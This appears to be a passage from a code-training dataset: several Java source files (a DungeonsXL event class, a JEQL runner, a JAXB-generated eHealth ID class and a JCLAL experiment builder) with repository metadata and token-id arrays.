package de.erethon.dungeonsxl.api.event.group;
import de.erethon.dungeonsxl.api.player.GlobalPlayer;
import de.erethon.dungeonsxl.api.player.PlayerGroup;
import org.bukkit.event.Cancellable;
import org.bukkit.event.HandlerList;
/**
* Fired when a player joins a DungeonsXL group.
*
* @author Daniel Saukel
*/
public class GroupPlayerJoinEvent extends GroupEvent implements Cancellable {
private static final HandlerList handlers = new HandlerList();
private boolean cancelled;
private GlobalPlayer player;
private boolean creator;
public GroupPlayerJoinEvent(PlayerGroup group, GlobalPlayer player, boolean creator) {
super(group);
this.player = player;
this.creator = creator;
}
/**
* Returns the player who is joining the group.
*
* @return the player who is joining the group
*/
public GlobalPlayer getPlayer() {
return player;
}
/**
* Returns if the player is the creator of the group.
*
* @return if the player is the creator of the group
*/
public boolean isCreator() {
return creator;
}
@Override
public HandlerList getHandlers() {
return handlers;
}
public static HandlerList getHandlerList() {
return handlers;
}
@Override
public boolean isCancelled() {
return cancelled;
}
@Override
public void setCancelled(boolean cancelled) {
this.cancelled = cancelled;
}
@Override
public String toString() {
return getClass().getSimpleName() + "{group=" + group + "; player=" + player + "; creator=" + creator + "}";
}
}
| 2,369
|
Java
|
.java
|
DRE2N/DungeonsXL
| 151
| 85
| 102
|
2015-07-14T16:13:12Z
|
2023-11-02T04:50:59Z
|
f774da3e115b7b4bb1bc27e25ae3e1ecdd77ddaceba6be322576b578d262f29a
|
[
1127,
222,
338,
2657,
327,
72,
46,
244,
55,
53,
54,
57,
50,
55,
53,
55,
56,
32649,
31324,
3434,
361,
222,
338,
222,
338,
1369,
4277,
458,
3760,
2951,
63,
863,
902,
14081,
580,
480,
52,
290,
5370,
580,
1549,
341,
222,
338,
5974,
451,
341,
6994,
16227,
6153,
5062,
1196,
641,
9582,
829,
341,
7834,
3870,
222,
338,
7120,
49,
3173,
1522,
244,
56,
451,
341,
1196,
49,
575,
327,
288,
1390,
2489,
46,
1364,
6146,
1522,
51,
222,
338,
222,
338,
1369,
3477,
458,
2744,
347,
341,
9850,
708,
580,
1118,
545,
6386,
49,
1294,
4213,
2979,
222,
338,
9345,
64,
2895,
4462,
341,
4506,
14319,
451,
7934,
575,
8114,
4800,
418,
222,
338,
7848,
7763,
51,
2819,
341,
22251,
809,
35906,
6153,
5062,
1196,
456,
1851,
4261,
51,
222,
338,
222,
338,
2469,
1414,
1178,
6589,
331,
1948,
451,
341,
6994,
16227,
6153,
5062,
1196,
7979,
642,
222,
338,
477,
3477,
51,
1691,
666,
49,
2337,
350,
544,
574,
1516,
51,
10627,
51,
1107,
52,
4205,
28699,
222,
588,
222,
1337,
428,
51,
767,
1661,
51,
105,
17025,
2632,
9479,
51,
1256,
51,
1585,
51,
1382,
64,
222,
222,
485,
428,
51,
767,
1661,
51,
105,
17025,
2632,
9479,
51,
1256,
51,
3857,
51,
4470,
3516,
64,
222,
485,
428,
51,
767,
1661,
51,
105,
17025,
2632,
9479,
51,
1256,
51,
3857,
51,
3516,
1582,
64,
222,
485,
1105,
51,
20402,
51,
1585,
51,
72,
40582,
64,
222,
485,
1105,
51,
20402,
51,
1585,
51,
1985,
739,
64,
222,
222,
1350,
222,
338,
525,
3929,
1429,
331,
4376,
46355,
331,
493,
17025,
2632,
16902,
2370,
51,
222,
338,
222,
338,
496,
2133,
32649,
31324,
3434,
361,
222,
588,
222,
942,
462,
7072,
3516,
6256,
1167,
2041,
7072,
1167,
4584,
409,
40582,
320,
465,
964,
924,
1175,
15210,
739,
15089,
299,
556,
15210,
739,
492,
303,
964,
1922,
25532,
64,
465,
964,
6566,
3516,
4376,
64,
303,
964,
1922,
21203,
64,
465,
581,
7072,
3516,
6256,
1167,
45,
3516,
1582,
2370,
49,
6566,
3516,
4376,
49,
1922,
21203,
46,
320,
310,
2615,
45,
1382,
312,
310,
477,
51,
3857,
299,
4376,
64,
310,
477,
51,
16432,
299,
21203,
64,
303,
339,
465,
1041,
294,
338,
3777,
341,
4376,
6574,
458,
46356,
341,
2370,
51,
294,
338,
294,
338,
496,
620,
341,
4376,
6574,
458,
46356,
341,
2370,
294,
588,
303,
581,
6566,
3516,
640,
3516,
365,
320,
310,
461,
4376,
64,
303,
339,
465,
1041,
294,
338,
3777,
434,
341,
4376,
458,
341,
21203,
451,
341,
2370,
51,
294,
338,
294,
338,
496,
620,
434,
341,
4376,
458,
341,
21203,
451,
341,
2370,
294,
588,
303,
581,
1922,
458,
11147,
365,
320,
310,
461,
21203,
64,
303,
339,
465,
496,
1806,
303,
581,
15210,
739,
640,
15544,
365,
320,
310,
461,
15089,
64,
303,
339,
465,
581,
924,
15210,
739,
640,
1985,
739,
365,
320,
310,
461,
15089,
64,
303,
339,
465,
496,
1806,
303,
581,
1922,
458,
23092,
365,
320,
310,
461,
25532,
64,
303,
339,
465,
496,
1806,
303,
581,
782,
758,
23092,
45,
4412,
25532,
46,
320,
310,
477,
51,
42819,
299,
25532,
64,
303,
339,
465,
496,
1806,
303,
581,
910,
11349,
365,
320,
310,
461,
27042,
941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1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
] | 564
| true
| 67.961165
| true
| true
|
JeqlRunnable.java
|
/FileExtraction/Java_unseen/dr-jts_jeql/modules/jeqlw/src/main/java/jeql/workbench/JeqlRunnable.java
|
package jeql.workbench;
import jeql.api.JeqlOptions;
import jeql.api.JeqlRunner;
class JeqlRunnable implements Runnable
{
public interface RunListener {
void end(JeqlRunner runner);
}
private RunListener listener;
private String scriptFile;
private String scriptText;
private boolean isKeepData = false;
JeqlRunnable(RunListener listener)
{
this.listener = listener;
}
public void setScriptFile(String scriptFile)
{
this.scriptFile = scriptFile;
}
public void setScript(String scriptText)
{
this.scriptText = scriptText;
}
public void setKeepData(boolean isKeepData)
{
this.isKeepData = isKeepData;
}
public void run()
{
JeqlRunner runner = new JeqlRunner();
JeqlOptions options = new JeqlOptions();
options.setWorkbench(true);
// Workbench Run mode => not keeping data => run in Monitor View mode
options.setMonitorView(! isKeepData);
runner.init(options);
//TODO: fix exception handling
boolean returnCode;
try {
returnCode = runScript(runner);
}
catch (Exception ex)
{
ex.printStackTrace();
}
finally {
listener.end(runner);
}
}
private boolean runScript(JeqlRunner runner)
throws Exception
{
if (scriptFile != null) {
return runner.execScriptFile(scriptFile, null);
}
return runner.execScript(scriptText, null);
}
}
| 1,406
|
Java
|
.java
|
dr-jts/jeql
| 11
| 1
| 0
|
2013-04-20T05:08:33Z
|
2019-03-04T22:39:23Z
|
19d5b84903daca246b71171988d3b2b663235c416b58ae0394aa91b98c96a210
|
[
1337,
9612,
1383,
51,
28359,
64,
222,
222,
485,
9612,
1383,
51,
1256,
51,
79,
19310,
2045,
64,
222,
485,
9612,
1383,
51,
1256,
51,
79,
19310,
7980,
64,
222,
222,
842,
990,
19310,
17695,
4584,
18662,
222,
128,
353,
581,
2586,
4507,
2239,
320,
303,
782,
962,
45,
79,
19310,
7980,
15682,
312,
353,
339,
736,
964,
4507,
2239,
7510,
64,
353,
964,
910,
3273,
991,
64,
353,
964,
910,
3273,
1049,
64,
353,
964,
1922,
458,
16635,
768,
299,
920,
64,
4070,
990,
19310,
17695,
45,
2544,
2239,
7510,
46,
353,
320,
303,
477,
51,
9447,
299,
7510,
64,
353,
339,
4070,
581,
782,
758,
3223,
991,
45,
671,
3273,
991,
46,
353,
320,
303,
477,
51,
1442,
991,
299,
3273,
991,
64,
353,
339,
4070,
581,
782,
758,
3223,
45,
671,
3273,
1049,
46,
353,
320,
303,
477,
51,
1442,
1049,
299,
3273,
1049,
64,
353,
339,
4070,
581,
782,
758,
16635,
768,
45,
4412,
458,
16635,
768,
46,
353,
320,
303,
477,
51,
316,
16635,
768,
299,
458,
16635,
768,
64,
353,
339,
4070,
581,
782,
1441,
365,
353,
320,
303,
990,
19310,
7980,
15682,
299,
556,
990,
19310,
7980,
492,
303,
990,
19310,
2045,
2089,
299,
556,
990,
19310,
2045,
492,
303,
2089,
51,
489,
47780,
45,
1527,
312,
303,
453,
6352,
11928,
4507,
2945,
551,
666,
23359,
727,
551,
1441,
347,
16645,
4340,
2945,
303,
2089,
51,
489,
8538,
1089,
3848,
458,
16635,
768,
312,
303,
15682,
51,
1683,
45,
2200,
312,
303,
453,
10767,
63,
2435,
3773,
9946,
303,
1922,
461,
1241,
64,
303,
1614,
320,
416,
461,
1241,
299,
1441,
3223,
45,
10349,
312,
303,
339,
303,
2385,
327,
1002,
557,
46,
303,
320,
416,
557,
51,
9428,
492,
303,
339,
303,
8312,
320,
416,
7510,
51,
435,
45,
10349,
312,
303,
339,
353,
339,
4070,
964,
1922,
1441,
3223,
45,
79,
19310,
7980,
15682,
46,
353,
2589,
3284,
353,
320,
303,
434,
327,
1442,
991,
882,
762,
46,
320,
416,
461,
15682,
51,
2510,
3223,
991,
45,
1442,
991,
49,
762,
312,
303,
339,
303,
461,
15682,
51,
2510,
3223,
45,
1442,
1049,
49,
762,
312,
353,
339,
222,
130
] |
[
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
] | 359
| true
| 67.852063
| true
| true
|
IDKMEHR.java
|
/FileExtraction/Java_unseen/taktik_icure-backend/src/main/java/org/taktik/icure/services/external/rest/v1/dto/be/ehealth/kmehr/v20180601/be/fgov/ehealth/standards/kmehr/id/v1/IDKMEHR.java
|
//
// This file was generated by the JavaTM Architecture for XML Binding(JAXB) Reference Implementation, v2.2.8-b130911.1802
// See <a href="http://java.sun.com/xml/jaxb">http://java.sun.com/xml/jaxb</a>
// Any modifications to this file will be lost upon recompilation of the source schema.
// Generated on: 2019.06.14 at 03:49:00 PM CEST
//
package org.taktik.icure.services.external.rest.v1.dto.be.ehealth.kmehr.v20180601.be.fgov.ehealth.standards.kmehr.id.v1;
import java.io.Serializable;
import javax.xml.bind.annotation.XmlAccessType;
import javax.xml.bind.annotation.XmlAccessorType;
import javax.xml.bind.annotation.XmlAttribute;
import javax.xml.bind.annotation.XmlType;
import javax.xml.bind.annotation.XmlValue;
/**
* <p>Java class for ID-KMEHR complex type.
*
* <p>The following schema fragment specifies the expected content contained within this class.
*
* <pre>
* <complexType name="ID-KMEHR">
* <simpleContent>
* <extension base="<http://www.w3.org/2001/XMLSchema>string">
* <attribute name="S" use="required" type="{http://www.ehealth.fgov.be/standards/kmehr/id/v1}ID-KMEHRschemes" />
* <attribute name="SV" use="required" type="{http://www.w3.org/2001/XMLSchema}string" />
* <attribute name="SL" type="{http://www.w3.org/2001/XMLSchema}string" />
* </extension>
* </simpleContent>
* </complexType>
* </pre>
*
*
*/
@XmlAccessorType(XmlAccessType.FIELD)
@XmlType(name = "ID-KMEHR", propOrder = {
"value"
})
public class IDKMEHR
implements Serializable
{
private final static long serialVersionUID = 20180601L;
@XmlValue
protected String value;
@XmlAttribute(name = "S", required = true)
protected IDKMEHRschemes s;
@XmlAttribute(name = "SV", required = true)
protected String sv;
@XmlAttribute(name = "SL")
protected String sl;
/**
* Gets the value of the value property.
*
* @return
* possible object is
* {@link String }
*
*/
public String getValue() {
return value;
}
/**
* Sets the value of the value property.
*
* @param value
* allowed object is
* {@link String }
*
*/
public void setValue(String value) {
this.value = value;
}
/**
* Gets the value of the s property.
*
* @return
* possible object is
* {@link IDKMEHRschemes }
*
*/
public IDKMEHRschemes getS() {
return s;
}
/**
* Sets the value of the s property.
*
* @param value
* allowed object is
* {@link IDKMEHRschemes }
*
*/
public void setS(IDKMEHRschemes value) {
this.s = value;
}
/**
* Gets the value of the sv property.
*
* @return
* possible object is
* {@link String }
*
*/
public String getSV() {
return sv;
}
/**
* Sets the value of the sv property.
*
* @param value
* allowed object is
* {@link String }
*
*/
public void setSV(String value) {
this.sv = value;
}
/**
* Gets the value of the sl property.
*
* @return
* possible object is
* {@link String }
*
*/
public String getSL() {
return sl;
}
/**
* Sets the value of the sl property.
*
* @param value
* allowed object is
* {@link String }
*
*/
public void setSL(String value) {
this.sl = value;
}
}
| 3,639
|
Java
|
.java
|
taktik/icure-backend
| 19
| 25
| 3
|
2018-03-29T12:01:32Z
|
2022-11-18T08:44:46Z
|
643240fc339cf8ca8748cac5581c68cee36b4ce4917bc62a0c379eaa1598aa8e
|
[
325,
222,
325,
1369,
822,
1616,
4741,
829,
341,
4957,
9043,
29327,
456,
7408,
17393,
45,
47329,
46,
9495,
19977,
49,
373,
55,
51,
55,
51,
61,
50,
103,
54,
56,
53,
62,
54,
54,
51,
54,
61,
53,
55,
244,
222,
325,
2819,
350,
102,
995,
366,
544,
574,
1874,
51,
9886,
51,
527,
52,
2608,
52,
8954,
103,
432,
544,
574,
1874,
51,
9886,
51,
527,
52,
2608,
52,
8954,
103,
396,
102,
67,
244,
222,
325,
6213,
23125,
391,
477,
822,
1118,
545,
15058,
12710,
334,
31635,
451,
341,
1932,
5379,
51,
244,
222,
325,
13046,
563,
63,
244,
55,
53,
54,
62,
51,
53,
59,
51,
54,
57,
840,
244,
53,
56,
63,
57,
62,
63,
53,
53,
9401,
409,
4143,
244,
222,
325,
499,
222,
1337,
1105,
51,
121,
11385,
1567,
51,
314,
532,
51,
4270,
51,
6183,
51,
4756,
51,
123,
54,
51,
12292,
51,
883,
51,
106,
9864,
51,
112,
308,
3943,
51,
123,
55,
53,
54,
61,
53,
59,
53,
54,
51,
883,
51,
4658,
1558,
51,
106,
9864,
51,
9165,
120,
51,
112,
308,
3943,
51,
333,
51,
123,
54,
64,
222,
222,
485,
1401,
51,
735,
51,
12644,
64,
222,
485,
3698,
51,
2608,
51,
2555,
51,
4341,
51,
4411,
41079,
64,
222,
485,
3698,
51,
2608,
51,
2555,
51,
4341,
51,
4411,
9794,
638,
64,
222,
485,
3698,
51,
2608,
51,
2555,
51,
4341,
51,
43713,
64,
222,
485,
3698,
51,
2608,
51,
2555,
51,
4341,
51,
40002,
64,
222,
485,
3698,
51,
2608,
51,
2555,
51,
4341,
51,
4411,
899,
64,
499,
222,
1350,
222,
338,
350,
117,
67,
5445,
462,
456,
2502,
50,
80,
1043,
5157,
8667,
847,
51,
222,
338,
1676,
338,
350,
117,
67,
1338,
2434,
5379,
10299,
15834,
341,
2816,
1813,
14561,
4824,
477,
462,
51,
222,
338,
1676,
338,
350,
1023,
67,
222,
338,
568,
2176,
64,
46990,
655,
366,
798,
50,
80,
1043,
5157,
432,
222,
338,
280,
568,
2176,
64,
6681,
1795,
67,
222,
338,
281,
568,
2176,
64,
6749,
1712,
366,
43,
2176,
64,
544,
574,
1516,
51,
124,
56,
51,
1107,
52,
55,
53,
53,
54,
52,
29064,
67,
819,
432,
222,
338,
981,
568,
2176,
64,
4902,
655,
366,
88,
39,
813,
366,
3662,
39,
847,
15469,
544,
574,
1516,
51,
106,
9864,
51,
4658,
1558,
51,
883,
52,
9165,
120,
52,
112,
308,
3943,
52,
333,
52,
123,
54,
130,
798,
50,
80,
1043,
5157,
3174,
8037,
39,
1699,
222,
338,
981,
568,
2176,
64,
4902,
655,
366,
6029,
39,
813,
366,
3662,
39,
847,
15469,
544,
574,
1516,
51,
124,
56,
51,
1107,
52,
55,
53,
53,
54,
52,
29064,
130,
819,
39,
1699,
222,
338,
981,
568,
2176,
64,
4902,
655,
366,
3910,
39,
847,
15469,
544,
574,
1516,
51,
124,
56,
51,
1107,
52,
55,
53,
53,
54,
52,
29064,
130,
819,
39,
1699,
222,
338,
281,
568,
2176,
6532,
6749,
67,
222,
338,
280,
568,
2176,
6532,
6681,
1795,
67,
222,
338,
568,
2176,
6532,
46990,
67,
222,
338,
594,
1023,
67,
222,
338,
1676,
338,
1676,
588,
222,
69,
4411,
9794,
638,
45,
4411,
41079,
51,
6457,
46,
222,
69,
40002,
45,
444,
299,
332,
798,
50,
80,
1043,
5157,
411,
7030,
2888,
299,
320,
303,
332,
872,
39,
222,
1770,
222,
942,
462,
2502,
80,
1043,
5157,
303,
4584,
19182,
222,
128,
465,
964,
1175,
924,
1964,
19896,
299,
244,
55,
53,
54,
61,
53,
59,
53,
54,
81,
64,
303,
496,
4411,
899,
303,
2532,
910,
804,
64,
303,
496,
43713,
45,
444,
299,
332,
88,
411,
2147,
299,
878,
46,
303,
2532,
2502,
80,
1043,
5157,
3174,
8037,
328,
64,
303,
496,
43713,
45,
444,
299,
332,
6029,
411,
2147,
299,
878,
46,
303,
2532,
910,
5870,
64,
303,
496,
43713,
45,
444,
299,
332,
3910,
678,
303,
2532,
910,
5454,
64,
465,
1041,
294,
338,
7132,
341,
804,
451,
341,
804,
2821,
51,
294,
338,
5402,
338,
496,
620,
294,
338,
281,
4222,
1319,
458,
294,
338,
281,
3105,
1222,
910,
339,
294,
338,
35399,
588,
303,
581,
910,
21517,
365,
320,
310,
461,
804,
64,
303,
339,
465,
1041,
294,
338,
9023,
341,
804,
451,
341,
804,
2821,
51,
294,
338,
5402,
338,
496,
772,
804,
294,
338,
281,
6671,
1319,
458,
294,
338,
281,
3105,
1222,
910,
339,
294,
338,
35399,
588,
303,
581,
782,
27609,
45,
671,
804,
46,
320,
310,
477,
51,
872,
299,
804,
64,
303,
339,
465,
1041,
294,
338,
7132,
341,
804,
451,
341,
328,
2821,
51,
294,
338,
5402,
338,
496,
620,
294,
338,
281,
4222,
1319,
458,
294,
338,
281,
3105,
1222,
2502,
80,
1043,
5157,
3174,
8037,
339,
294,
338,
35399,
588,
303,
581,
2502,
80,
1043,
5157,
3174,
8037,
43543,
365,
320,
310,
461,
328,
64,
303,
339,
465,
1041,
294,
338,
9023,
341,
804,
451,
341,
328,
2821,
51,
294,
338,
5402,
338,
496,
772,
804,
294,
338,
281,
6671,
1319,
458,
294,
338,
281,
3105,
1222,
2502,
80,
1043,
5157,
3174,
8037,
339,
294,
338,
35399,
588,
303,
581,
782,
758,
88,
45,
798,
80,
1043,
5157,
3174,
8037,
804,
46,
320,
310,
477,
51,
120,
299,
804,
64,
303,
339,
465,
1041,
294,
338,
7132,
341,
804,
451,
341,
5870,
2821,
51,
294,
338,
5402,
338,
496,
620,
294,
338,
281,
4222,
1319,
458,
294,
338,
281,
3105,
1222,
910,
339,
294,
338,
35399,
588,
303,
581,
910,
640,
6029,
365,
320,
310,
461,
5870,
64,
303,
339,
465,
1041,
294,
338,
9023,
341,
804,
451,
341,
5870,
2821,
51,
294,
338,
5402,
338,
496,
772,
804,
294,
338,
281,
6671,
1319,
458,
294,
338,
281,
3105,
1222,
910,
339,
294,
338,
35399,
588,
303,
581,
782,
758,
6029,
45,
671,
804,
46,
320,
310,
477,
51,
2289,
299,
804,
64,
303,
339,
465,
1041,
294,
338,
7132,
341,
804,
451,
341,
5454,
2821,
51,
294,
338,
5402,
338,
496,
620,
294,
338,
281,
4222,
1319,
458,
294,
338,
281,
3105,
1222,
910,
339,
294,
338,
35399,
588,
303,
581,
910,
640,
3910,
365,
320,
310,
461,
5454,
64,
303,
339,
465,
1041,
294,
338,
9023,
341,
804,
451,
341,
5454,
2821,
51,
294,
338,
5402,
338,
496,
772,
804,
294,
338,
281,
6671,
1319,
458,
294,
338,
281,
3105,
1222,
910,
339,
294,
338,
35399,
588,
303,
581,
782,
758,
3910,
45,
671,
804,
46,
320,
310,
477,
51,
2021,
299,
804,
64,
303,
339,
222,
222,
130,
222
] |
[
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
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
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
] | 1,076
| true
| 56.059357
| true
| true
|
ExperimentBuilder.java
|
/FileExtraction/Java_unseen/ogreyesp_JCLAL/src/main/java/net/sf/jclal/experiment/ExperimentBuilder.java
|
/*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License
* as published by the Free Software Foundation; either version 2
* of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
*/
package net.sf.jclal.experiment;
import java.io.File;
import java.util.ArrayList;
import java.util.logging.Level;
import java.util.logging.Logger;
import org.apache.commons.configuration.XMLConfiguration;
import org.w3c.dom.Element;
import org.w3c.dom.NamedNodeMap;
import org.w3c.dom.Node;
import org.w3c.dom.NodeList;
/**
* Experiments builder.
*
* @author Sebastian Ventura
*/
public class ExperimentBuilder {
/////////////////////////////////////////////////////////////////
// --------------------------------------------------- Properties
/////////////////////////////////////////////////////////////////
/**
* Control the depth size
*/
private ArrayList<Integer> combinationBase;
/////////////////////////////////////////////////////////////////
// -------------------------------------------------- Constructor
/////////////////////////////////////////////////////////////////
/**
* Empty constructor
*/
public ExperimentBuilder() {
}
/**
* Expands the experiments for the configuration file
*
* @param experimentFileName The name of the experiment file.
* @return The experiments for the configuration file.
*/
public ArrayList<String> buildExperiment(String experimentFileName) {
ArrayList<String> configurations = expandElements(experimentFileName);
ArrayList<String> allCreatedExperiments = new ArrayList<String>();
int numberExperiments = 1;
allCreatedExperiments.addAll(configurations);
/**
* Expand multi-valued elements
*/
do {
numberExperiments = configurations.size();
ArrayList<String> createdExperiments = new ArrayList<String>();
for (String experiment : configurations) {
createdExperiments.addAll(expandElements(experiment));
}
allCreatedExperiments.addAll(createdExperiments);
configurations = createdExperiments;
} while (configurations.size() != numberExperiments);
/**
* Expand multi-valued attributes
*/
do {
numberExperiments = configurations.size();
ArrayList<String> createdExperiments = new ArrayList<String>();
for (String experiment : configurations) {
createdExperiments.addAll(expandAttributes(experiment));
}
allCreatedExperiments.addAll(createdExperiments);
configurations = createdExperiments;
} while (configurations.size() != numberExperiments);
allCreatedExperiments.removeAll(configurations);
/**
* Remove temp files
*/
for (String temp : allCreatedExperiments) {
if (!temp.equals(experimentFileName)) {
new File(temp).delete();
}
}
/**
* Move the expanded configuration files to the experiments folder
*/
if (configurations.size() > 1) {
File dir = new File("experiments");
/**
* If the directory exists, delete all files
*/
if (dir.exists()) {
File[] experimentFiles = dir.listFiles();
for (File f : experimentFiles) {
f.delete();
}
} /**
* Else, create the directory
*/
else {
dir.mkdir();
}
for (int i = 0; i < configurations.size(); i++) {
File file = new File(configurations.get(i));
file.renameTo(new File(dir, file.getName()));
String[] files = configurations.get(i).split("/");
String fileName = files[files.length - 1];
configurations.set(i, dir.getPath() + "/" + fileName);
}
}
/**
* Return the configuration filenames
*/
return configurations;
}
/**
* Expands the multi-valued elements for the jobFilename configuration file
*
* @param jobFilename The job file name to execute
* @return An arraylist of string
*/
private ArrayList<String> expandElements(String jobFilename) {
combinationBase = new ArrayList<Integer>();
ArrayList<String> configurationFileNames = new ArrayList<String>();
// Try open job file
File jobFile = new File(jobFilename);
if (jobFile.exists()) {
try {
// Find the number of combinations to perform
expandElementsIterateElements(new XMLConfiguration(jobFile).getDocument().getChildNodes());
int numberCombinations = 1;
// Calculate the amount of combinations
for (Integer i : combinationBase) {
numberCombinations *= i;
}
int[][] configurationSchema = new int[numberCombinations][];
for (int i = 0; i < numberCombinations; i++) {
configurationSchema[i] = new int[combinationBase.size()];
}
int consecutiveElements = numberCombinations;
int accProduct = 1;
// Calculate the combinations of each element
for (int i = 0; i < combinationBase.size(); i++) {
consecutiveElements /= combinationBase.get(i);
for (int j = 0; j < combinationBase.get(i); j++) {
for (int k = 0; k < consecutiveElements; k++) {
for (int r = 0; r < accProduct; r++) {
int step = consecutiveElements * combinationBase.get(i);
configurationSchema[r * step + j * consecutiveElements + k][i] = j;
}
}
}
accProduct *= combinationBase.get(i);
}
XMLConfiguration[] configurations = new XMLConfiguration[numberCombinations];
for (int i = 0; i < numberCombinations; i++) {
configurations[i] = new XMLConfiguration(jobFile);
expandElementsIterateElements(configurations[i].getDocument().getChildNodes(), configurationSchema[i].clone());
}
for (int i = 0; i < numberCombinations; i++) {
String fileName = jobFilename;
for (int j = 0; j < configurationSchema[i].length; j++) {
fileName += "_" + configurationSchema[i][j];
}
configurations[i].save(new File(fileName));
configurationFileNames.add(fileName);
}
} catch (Exception e) {
